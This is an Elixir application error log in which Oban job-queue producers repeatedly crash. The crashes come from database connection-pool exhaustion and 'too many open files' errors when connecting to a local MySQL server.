    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:59:50.238942Z], limit: 20, uuid: "301fb1e0-c8cd-4832-9be5-c7cd19d82e0c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:59:50.238947Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.151688>, refresh_timer: #Reference<0.2525715032.1121189889.151632>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:00:02.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1068ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:59:50.241237Z], limit: 50, uuid: "2e830786-acea-4a63-87b3-9f603395350d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:59:50.241243Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.151691>, refresh_timer: #Reference<0.2525715032.1121189889.151675>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:00:02.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 848ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:59:50.238731Z], limit: 10, uuid: "2607aa7e-c550-4bb4-843c-fb008d3102f2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:59:50.238737Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.151689>, refresh_timer: #Reference<0.2525715032.1121189889.151621>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:00:02.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 891ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:59:50.240122Z], limit: 5, uuid: "082ad89a-9583-4b8a-831d-6b341d2f4eb9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:59:50.240127Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.151690>, refresh_timer: #Reference<0.2525715032.1121189889.151660>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:00:02.609000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:00:04.173000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:00:08.743000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:00:10.435000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:00:13.695000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:00:14.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1088ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:00:02.243255Z], limit: 10, uuid: "e92f91df-5bc7-48b3-bb52-d3a8f1da2bbe", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:00:02.243259Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.41908>, refresh_timer: #Reference<0.2525715032.1068498948.41893>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:00:14.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 814ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:00:02.242943Z], limit: 3, uuid: "8fd0c8da-d759-4260-9040-3249501f5b90", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:00:02.242950Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.41910>, refresh_timer: #Reference<0.2525715032.1068498948.41872>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:00:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 807ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:00:02.247978Z], limit: 5, uuid: "8abccea9-832b-482a-89fc-2d2641e85fb7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:00:02.247986Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.41918>, refresh_timer: #Reference<0.2525715032.1068498948.41917>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:00:14.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1023ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:00:02.243209Z], limit: 50, uuid: "7b8a5c97-9f9b-47a6-be42-8f56f4ab837f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:00:02.243213Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.41909>, refresh_timer: #Reference<0.2525715032.1068498948.41896>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:00:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 897ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:00:02.250799Z], limit: 5, uuid: "efd26941-379f-4e5e-b8ae-bc5643bfe4a5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:00:02.250807Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.41943>, refresh_timer: #Reference<0.2525715032.1099431938.39063>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:00:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 895ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

